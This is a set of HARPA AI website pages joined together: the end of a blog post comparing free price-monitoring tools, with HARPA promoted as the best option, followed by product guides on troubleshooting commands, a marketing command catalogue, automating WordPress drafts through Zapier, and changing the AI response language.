4.8/5 Capterra) for simplicity and uptime. Drawback: Less visual than Visualping, but excels in frequency. [\#](https://harpa.ai/blog/best-free-price-monitoring-tools-for-e-commerce#amazon,-etsy-&-walmart-specific-free-price-trackers-online) Amazon, Etsy & Walmart-Specific Free Price Trackers Online -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Dedicated **price tracker online** tools excel for platforms. **CamelCamelCamel** and **Keepa** offer unlimited free Amazon (Keepa adds eBay) price history charts, drop alerts, and extensions—no limits for individuals. For Etsy: **eRank** ($0 plan: trends/top sellers), **CraftyStats** (1 shop/3 products, history via extension). Walmart/Amazon: **Price Tracker AI** (1 item free), **SnapThePrice** (AI extension, 4.7/5), **Thunderbit** (scraping free tier). Reddit sellers favor eRank snapshots; no single free tool seamlessly covers all sites. [Track Competitors with HARPA](https://harpa.ai/guides/track-competitors) fills gaps via AI. * **CamelCamelCamel** — Amazon only. Unlimited free tracking, email alerts. * **Keepa** — Amazon + eBay. Unlimited free tracking, browser extension alerts. * **eRank** — Etsy. Free plan with trends and top seller data, basic alerts. * **SnapThePrice** — Amazon + Walmart. Real-time alerts, rated 4.7/5. [\#](https://harpa.ai/blog/best-free-price-monitoring-tools-for-e-commerce#self-hosted-open-source-price-monitoring-tools-for-unlimited-use) Self-Hosted Open-Source Price Monitoring Tools for Unlimited Use -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Tech-savvy users love **price monitoring tool** open-source options for unlimited scale. **Changedetection.io** (30k+ GitHub stars) extracts JSON prices, sets thresholds, auto-notifies—actively maintained as of 2026. Reddit praises it over alternatives. Others: **PriceGhost** (AI/CSS extraction), **PriceBuddy** (regex/Selenium). Pros: Free, customizable. Cons: Server setup needed—no plug-and-play like browser extensions. [\#](https://harpa.ai/blog/best-free-price-monitoring-tools-for-e-commerce#limitations-of-free-price-monitoring-systems-&-when-to-upgrade) Limitations of Free Price Monitoring Systems & When to Upgrade ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Free **price monitoring system** tools universally limit scale: pages/SKUs, basic trends sans margins/stock. Manual entry risks errors; proxies unstable. Beyond 20 products, consider upgrading to paid tools like Price2Spy ($57+/month). Visualping suits fewer than 5 sites; UptimeRobot small teams. For growth, seek a **competitor monitoring tool** with analytics. [\#](https://harpa.ai/blog/best-free-price-monitoring-tools-for-e-commerce#how-harpa-ai-stands-out-as-a-free-price-monitoring-alternative) How HARPA AI Stands Out as a Free Price Monitoring Alternative ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- HARPA AI's Website & Price Monitoring crushes free tier limits with AI-powered tracking on Amazon, AliExpress, Walmart and any other website—automatic notifications, no page caps via browser extension. **How to set up a price monitor with HARPA AI:** 1. Navigate to any product page you want to track. 2. Open HARPA AI by pressing **Alt+A** (Windows) or **^+A** (Mac) and switch to the **AUTOMATE** tab. ![](https://harpa.ai/img/guides/monitor-1.webp) 3. HARPA will detect trackable items on the page. Click the price you want to monitor — for example, if the product costs **$549.95**, click the item showing **$549.95**. 4. Click **START** and HARPA AI will periodically refresh the page in the background and send you a browser notification whenever the price drops. ![](https://harpa.ai/img/guides/monitor-2.webp) **Monitor customization**: You can fine-tune schedule intervals (from 15 seconds to once a month), triggers (price drop, text appears/disappears, content update), and actions (notification, email, sound, webhook, Make.com integration). By combining triggers and actions, you can have HARPA send you an email whenever a price drops while pushing data to Google Sheets on every monitor run. **Back in stock alerts**: Click the **ELEMENT** button during monitor setup, then click any text on the page (e.g. "Out of stock"). HARPA will monitor for that element to disappear and notify you the moment the product becomes available again. ![](https://harpa.ai/img/guides/monitor-5.webp) **Automations Dashboard**: View all your monitors in one place. Click the HARPA AI icon on a blank browser page or press the **HOME** button in the HARPA interface. ![](https://harpa.ai/img/guides/monitor-7.webp) Unlike Bardeen (100 credits/month) or Monica (40 daily accesses), HARPA AI offers unlimited monitors with webhook and Make.com integration—ideal for daily competitor checks. HARPA AI runs monitors locally in your browser, so your web data never leaves your machine. [\#](https://harpa.ai/blog/best-free-price-monitoring-tools-for-e-commerce#best-free-vs-paid-price-monitoring-software) Best Free vs Paid Price Monitoring Software -------------------------------------------------------------------------------------------------------------------------------------------------------------------- * **Visualping** — 5 pages, 150 checks/month. Works on any site. Email alerts with AI summaries. Rated 4.6/5 on G2. Beginner-friendly. * **UptimeRobot** — 50 monitors, any site. Real-time alerts. Rated 4.7/5 on G2, 4.8/5 on Capterra. Simple setup. * **CamelCamelCamel** — Unlimited Amazon tracking. Email alerts. Browser extension. * **HARPA AI** — Unlimited monitors on Amazon, AliExpress, Walmart and any other site. Browser notifications, webhook and Make.com integration. One-click setup via Alt+A. * **Prisync (Paid)** — No free tier, starts at $99/month. Multi-site support, advanced analytics. Enterprise-grade. HARPA tops for small businesses seeking the **best price monitoring software**. [\#](https://harpa.ai/blog/best-free-price-monitoring-tools-for-e-commerce#final-recommendations-for-e-commerce-price-monitoring-tools) Final Recommendations for E-commerce Price Monitoring Tools ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- * **Ease**: Visualping for beginners. * **Scale**: UptimeRobot for teams. * **Multi-site AI**: HARPA AI as the best **free price monitoring software**—unlimited, extensible, with local data privacy. Try HARPA AI free: [Getting Started with HARPA AI](https://harpa.ai/guides/getting-started) . [\#](https://harpa.ai/blog/best-free-price-monitoring-tools-for-e-commerce#further-reading) Further Reading ------------------------------------------------------------------------------------------------------------ * [Price Monitor Guide](https://harpa.ai/guides/monitor-price-drops) * [Automation Features](https://harpa.ai/guides/automation-features) * [Track Competitors](https://harpa.ai/guides/track-competitors) * [ChatGPT for E-commerce](https://harpa.ai/blog/chatgpt-for-ecommerce) * [Autorefresh Web Pages](https://harpa.ai/guides/autorefresh-web-pages) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/free-article-and-pdf-summarizers-with-ai) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/how-to-track-prices-on-walmart-amazon-and-any-website) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Troubleshooting [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/chatml.svg) Troubleshooting =============== CONTENTS ![icon](https://harpa.ai/icon/lines/general/tool-02.svg) A number of issues may occur when creating custom commands. This guide will help you troubleshoot the most common ones. If you stumble upon a case you can not solve, send us a message to Discord server. [\#](https://harpa.ai/chatml/troubleshooting#yaml-validation) YAML validation ------------------------------------------------------------------------------ If you import a command in YAML format to HARPA AI, but it does not appear, it is likely YAML command has a syntax error. You can check the YAML file for syntax errors using [YAML Validator](https://codebeautify.org/yaml-validator) ![](https://harpa.ai/img/chatml/trouble-1.webp) If it detects any errors, they will be highlighted in the text and described below. You can fix the errors right there in the editor until you receive the message 'Valid YAML'. ![](https://harpa.ai/img/chatml/trouble-2.webp) Done! You can import the command back into HARPA and test it. [\#](https://harpa.ai/chatml/troubleshooting#changing-ui-and-ai-response-language) Changing UI and AI Response Language ------------------------------------------------------------------------------------------------------------------------ Both the UI language and the AI response language can be changed in the HARPA AI settings at the top of the settings list. ![](https://harpa.ai/img/chatml/trouble-lang.webp) [\#](https://harpa.ai/chatml/troubleshooting#more-chatgpt-troubleshooting-guides) More ChatGPT Troubleshooting Guides ---------------------------------------------------------------------------------------------------------------------- * [How to Fix ChatGPT Too Many Responses in 1 Hour](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error) * [How to Fix ChatGPT is at Capacity Right Now](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error) * [How to Fix ChatGPT Internal Server Error](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error) * [How to Fix ChatGPT Error 1020](https://harpa.ai/blog/how-to-fix-chatgpt-error-1020) * [How to Fix ChatGPT Plugins Not Showing Up](https://harpa.ai/blog/how-to-fix-chatgpt-plugins-not-showing-up) * [ChatGPT SMS verification](https://harpa.ai/blog/how-to-bypass-chatgpt-sms-verification) * [ClaudeAI SMS verification](https://harpa.ai/blog/how-to-bypass-claude-ai-sms-verification) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/chatml/ai-element-selectors) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | ChatGPT for Marketing & SEO [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/cases/marketing.svg) ChatGPT for Marketing & SEO =========================== CATEGORY APP [#](https://harpa.ai/case/chatgpt-for-marketing-and-seo#chatgpt-for-marketing-&-seo)  ChatGPT for Marketing & SEO ----------------------------------------------------------------------------------------------------------------- HARPA.AI integrates **page-aware ChatGPT commands** into your web browser: * Segment your audience * Research SEO keywords * Create marketing strategies * Generate blog outlines and articles ![](https://harpa.ai/img/cases/marketing.svg) Page Sherlock Analyses website Meta & OG data, SEO metrics, images and broken links. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/marketing.svg) SEO Audit Audit and improve your content for E-E-A-T, generate H1 and Meta Title. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/marketing.svg) Extract and research SEO keywords Extract keywords from competitor's article, perform research. Find keyword density and LSI keywords. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/marketing.svg) Outrank article Outrank competition with an in-depth, SEO-optimized article. Navigate to a web page with an article to outrank, then run this command. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/marketing.svg) Keyword report Create a keyword report and SEO content plan from 1 keyword. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/marketing.svg) Keyword strategy generator Provides a detailed strategy for any SEO keyword. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/marketing.svg) Topic authority Create a table with article ideas to help you build a topic authority. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/marketing.svg) Keyword cluster Cluster a list of keywords based on their semantic relevance. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/marketing.svg) Content analyzer Evaluate and audit an article text content in order to understand if it answers the user search intent. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/marketing.svg) 6 months SEO plan Create SEO strategies, competitive with the top websites in the given space. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/marketing.svg) Landing page structure Create a landing page structure with attention grabbing headlines about the given topic, product or service. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/marketing.svg) Hero image ideas Create ideas of a hero image (banner) for your web page. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/marketing.svg) SILO website structure Create a SILO structure for a website from a list of keywords. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/marketing.svg) Domain name generator Generate 50 domain name ideas for your niche. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/marketing.svg) Image briefs for SEO blog articles Find places in an article or web page to put images. Returns what the picture should be. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/marketing.svg) Meta Description and Title writer Generate titles and meta descriptions for a list of keywords, text or web page. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/marketing.svg) Website layout Create a website layout (Sitemap) from a product or service description. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/facebook.svg)![](https://harpa.ai/img/apps/instagram.svg) Social posts generator Creates social media posts for articles, blog posts or webpage content. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/marketing.svg) Clickbait writer Generate 10 catchy and high-converting clickbaits. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/marketing.svg) Product benefits overview post Helps create a non-promotional blog post that highlights the positive qualities of the product. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/facebook.svg) Facebook ads generator Generate a custom Facebook ad to boost conversions and revenue of your product or service. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/instagram.svg) Instagram Wizard Generate Instagram content ideas, carousels, reels, and post captions [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/facebook.svg)![](https://harpa.ai/img/apps/instagram.svg) Ads hook generator Generate ad hooks / angles for anything you're promoting. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/instagram.svg)![](https://harpa.ai/img/apps/linkedin.svg)![](https://harpa.ai/img/apps/twitter.svg)![](https://harpa.ai/img/apps/facebook.svg) Social bio section generator Helps you create a catchy bio for any social website, Instagram, Twitter, LinkedIn etc. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/instagram.svg)![](https://harpa.ai/img/apps/facebook.svg)![](https://harpa.ai/img/apps/linkedin.svg)![](https://harpa.ai/img/apps/tiktok.svg) Hashtag generator Create up to 30 social media Hashtags. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/instagram.svg)![](https://harpa.ai/img/apps/facebook.svg)![](https://harpa.ai/img/apps/twitter.svg) Influencer outreach DM Write cold outreach DMs to help you sign influencer campaigns. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/instagram.svg)![](https://harpa.ai/img/apps/tiktok.svg)![](https://harpa.ai/img/apps/facebook.svg)![](https://harpa.ai/img/apps/twitter.svg) Social media content ideas Generate a list of 10 engaging post ideas that are tailored to the interests of your target audience, increase engagement and drive traffic. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/pinterest.svg) Pinterest pin description Create description for a Pinterest pin from title or topic. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/youtube.svg) Repurpose YouTube video Convert YouTube video to text content. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/youtube.svg)![](https://harpa.ai/img/apps/instagram.svg)![](https://harpa.ai/img/apps/tiktok.svg) Video script writer Write a script for a video idea or topic. Best for YouTube, Instagram & TikTok. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/youtube.svg) YouTube extract transcripts Extracts YouTube transcripts from every video on a page into a text file, parameter or a summary. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/youtube.svg) YouTube extract comments Extracts YouTube comments from a video page. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/youtube.svg) YouTube description generator Generate title, description and hashtags for a youtube video idea. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/youtube.svg) YouTube polls generator Create an attention-grabbing YouTube poll for a video channel. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/youtube.svg) YouTube audience analyzer Read transcript of a YouTube video and analyze its target audience. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/youtube.svg) YouTube channel analysis Extracts insights from YouTube videos to draw conclusion on channel audience and growth tips. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/marketing.svg) Sales assistant Helps sell products and services, handles customer objections, and improves your customer facing conversations. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/marketing.svg) Sales strategy generator Generates a Sales Strategy based on the current webpage. Report includes ideas for potential collaboration and a draft cold email. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/marketing.svg) Buyer persona research Generate a detailed buyer persona research for your business, organized into a table. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/marketing.svg) Segment your audience Break your audience into target-able groups with similar needs. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/marketing.svg) Complete branding guide Forge an extensive brand identity for your product. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/marketing.svg) Content calendar Get a well organized content calendar for 1 week or month, that targets your keyword or topic. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/marketing.svg) Digital strategy generator Generate high level Digital Strategy for the given topic, service, product or business. Get a list of channels, actions and KPIs. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/marketing.svg) Marketing campaign ideas Create 10 marketing campaign ideas. Describe your business, target audience and get results. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/marketing.svg) Content ideas generator Generate a list of content ideas for a business, product or service for a blog. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/marketing.svg) Google Business posts writer Get SEO optimized Google Business Posts for your Google Business Profile. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/marketing.svg) Sales pitch writer Write enticing, personable and humorous sales pitches and emails. [USE COMMAND](https://get.harpa.ai/) GOT AN IDEA? CONTACT US Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Zapier + HARPA: Turn Any Web Content into a WordPress Blog [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/grid.svg) Zapier + HARPA: Turn Any Web Content into a WordPress Blog ========================================================== CONTENTS ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) Contact us at [\[email protected\]](https://harpa.ai/cdn-cgi/l/email-protection) for assistance with HARPA GRID API setup, integration, or to discuss your business needs. Read in: [Spanish](https://harpa.ai/blog/zapier-wordpress-draft-generation-spanish) [Italian](https://harpa.ai/blog/zapier-wordpress-draft-generation-italian) [Portuguese](https://harpa.ai/blog/zapier-wordpress-draft-generation-portuguese) [\#](https://harpa.ai/grid/zapier-wordpress-draft-generation#scenario-features) Scenario Features -------------------------------------------------------------------------------------------------- * Convert any webpage or YouTube video into a WordPress blog draft with a single click. * Your draft will be automatically sent to your WordPress. If you want to publish the post immediately, simply specify this during scenario setup. * One-time basic setup takes ~5 min: customize your style, markup (HTML or Markdown) and enter your Webhook URL. You can change settings anytime. * You don't need a paid [Zapier.com](https://zapier.com/) account to test it. ### [\#](https://harpa.ai/grid/zapier-wordpress-draft-generation#pre-built-ai-command:) Pre-built AI Command: * [Autopost to WordPress in 1 Сlick](https://harpa.ai/library/autopost-to-word-press-in-1-%D1%81lick-(webhook)/67d3fe70eea5a983d4452507) [\#](https://harpa.ai/grid/zapier-wordpress-draft-generation#3-steps-how-to-set-up-your-workflow) 3 Steps How to Set Up Your Workflow -------------------------------------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/grid/zapier-wordpress-draft-generation#1.-zapier-scenario-configuration-(~2-min):) 1\. Zapier Scenario Configuration (~2 min): 1. Create your new Zap ![](https://harpa.ai/img/grid/zapier-wordpress-automation-01.webp) 2. Select **Webhook: Catch hook** as your starting Trigger module. You don't need to configure the Child Key field—just leave it empty. ![](https://harpa.ai/img/grid/zapier-wordpress-automation-02.webp) 3. You'll then receive a Webhook URL that you'll need to copy and paste into HARPA later. ![](https://harpa.ai/img/grid/zapier-wordpress-automation-03.webp) ### [\#](https://harpa.ai/grid/zapier-wordpress-draft-generation#2.-configuring-ai-command-in-harpa-(~2-min):) 2\. Configuring AI Command in HARPA (~2 min): 1. Import the [Autopost to WordPress in 1 Сlick](https://harpa.ai/library/autopost-to-word-press-in-1-%D1%81lick-(webhook)/67d3fe70eea5a983d4452507) command to your HARPA. 2. Open HARPA on any webpage, find & run the command to complete the one-time setup: 3. Copy your Webhook URL from Zapier into HARPA. 4. Test your 1st Webhook step on any content by running the HARPA AI Command on this webpage: ![](https://harpa.ai/img/grid/zapier-wordpress-automation-07.webp) You'll see that your Webhook Step received this data, which can now be used in the next WordPress step. ![](https://harpa.ai/img/grid/zapier-wordpress-automation-06.webp) ### [\#](https://harpa.ai/grid/zapier-wordpress-draft-generation#3.-wordpress-step-configuration-(~3-5-min)) 3\. WordPress Step Configuration (~3-5 min) 1. Add the next Step - **WordPress: Create a post**. ![](https://harpa.ai/img/grid/zapier-wordpress-automation-04.webp) If this is your first login to WordPress, Zapier will ask for your credentials. You only need to provide this information once: ![](https://harpa.ai/img/grid/zapier-wordpress-automation-05.webp) 2. Use the Field Mapping feature to set the data obtained from the 1st step into the appropriate fields. It will look something like this: ![](https://harpa.ai/img/grid/zapier-wordpress-automation-08.webp) You can also configure it to publish the post immediately rather than saving it as a draft. Please adjust all settings according to your needs. Test sending data to WordPress and you'll see your post or draft appear in the posts list if everything worked correctly. ![](https://harpa.ai/img/grid/wordpress-1-click-post-08.webp) [\#](https://harpa.ai/grid/zapier-wordpress-draft-generation#other-zapier-&-harpa-grid-use-cases) Other Zapier & HARPA GRID Use Cases -------------------------------------------------------------------------------------------------------------------------------------- Please feel free to contact us at _[\[email protected\]](https://harpa.ai/cdn-cgi/l/email-protection) _ if you have any questions about your AI automation or need help setting up browser automation with HARPA GRID and Zapier. We recommend checking out the Make.com guides, which contain several business automation use-cases that can be easily adapted to Zapier: 1. [AI-Driven Email Outreach Campaign](https://harpa.ai/grid/email-outreach-campaign) - Works with Gmail, Fastmail, Outlook or any email service. Uses your existing name-email database and enriches it to create personalized outreach emails for each recipient. 2. [Auto-Draft Support Email Replies](https://harpa.ai/grid/auto-draft-support-email-replies) - Reduces time spent writing repetitive support emails. Takes 5 minutes to set up and cuts response time by 80%. Just add your common email replies to HARPA once. The bot then works 24/7 creating email response drafts. 3. [Database Enrichment](https://harpa.ai/grid/lead-database-enrichment) - HARPA GRID allows for leads segmentation which in turn increases response rates with personalized targeting. 4. [Leads Research](https://harpa.ai/grid/web-search-and-scraping) - Helps reliably search for B2B leads in any industry in your location, making your procurement process smoother and more cost-effective. 5. [LinkedIn Leads Parsing](https://harpa.ai/grid/linkedin-lead-generation-and-data-enrichment) - Great for finding top talent or sales trends in LinkedIn and running personalized outreach campaigns. [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/grid/zapier-integration) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/grid/data-protection-security) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | How to change HARPA AI language [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/maps/globe-02.svg) How to change HARPA AI language =============================== OUTLINE NAVIGATE [\#](https://harpa.ai/blog/how-to-change-harpa-ai-language-setting#how-to-change-the-ai-response-language) How to Change the AI Response Language -------------------------------------------------------------------------------------------------------------------------------------------------- Both the AI response language and the UI language can be changed in the HARPA AI settings at the top of the settings list. ![](https://harpa.ai/img/chatml/trouble-lang.webp) 1. Open HARPA AI settings. 2. Click the dropdown list and select a language. If your AI response language is not listed, or you want AI to use multiple languages: * Select the '**Custom**' option. * Enter your unlisted language. [\#](https://harpa.ai/blog/how-to-change-harpa-ai-language-setting#how-to-add-a-translation-button-to-any-command) How to Add a Translation Button to Any Command ------------------------------------------------------------------------------------------------------------------------------------------------------------------ ![](https://harpa.ai/img/blog/how-to-change-language-8.webp) 1. Select a command where you would like to add a translate button. 2. Click "**Duplicate and Edit**". ![](https://harpa.ai/img/blog/how-to-change-language-3.webp) 3. Add an ASK step after a GPT step in the command duplicate. ![](https://harpa.ai/img/blog/how-to-change-language-4.webp) 4. In the ASK step, add a new option: "Translate to Spanish". You can add an emoji to make it stand out. - label: 🇪🇸 TRANSLATE TO SPANISH value: translate ![](https://harpa.ai/img/blog/how-to-change-language-5.webp) 5. Add new GPT step, set its condition to match the translation option value chosen in the ASK step. In our example, this is: **{{change}} = translate**. Write a short prompt asking to translate the previous response into Spanish. ![](https://harpa.ai/img/blog/how-to-change-language-6.webp) 6. Save and run the command. You'll now have a new "**Translate to Spanish**" option. Click it to translate the AI response. ![](https://harpa.ai/img/blog/how-to-change-language-7.webp) Some commands already include ASK steps to perform changes on the generated AI replies. For example, this is the "Reply" command: ![](https://harpa.ai/img/blog/how-to-change-language-9.webp) Here you only need to add an extra option to the ASK step with option value containing the following prompt: "Please translate your last response into Spanish while keeping the text structure, markdown features and other characteristics. Do not add any comments or general phrases before or after the translation." ![](https://harpa.ai/img/blog/how-to-change-language-10.webp) Option value is passed into the {{change}} parameter, and used by the next GPT step, where AI performs the action specified in the parameter value. ![](https://harpa.ai/img/blog/how-to-change-language-11.webp) Feel free to share your edited commands in the Automation Library - [here's how](https://harpa.ai/guides/command-library) . [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/how-to-upload-pdf-to-harpa-ai) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/chatgpt-as-copywriting-assistant) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | 3 Passos Simples para Transformar Qualquer Conteúdo Web em um Blog WordPress [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/finance/sale-04.svg) 3 Passos Simples para Transformar Qualquer Conteúdo Web em um Blog WordPress ============================================================================ OUTLINE NAVIGATE ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) Se você publicar até ~250 posts por mês, pode executar o Cenário de IA dentro do Plano Gratuito do Make.com, que oferece 1.000 operações/mês. [\#](https://harpa.ai/blog/wordpress-1-click-post-draft-portuguese#recursos-do-cen%C3%A1rio) Recursos do Cenário 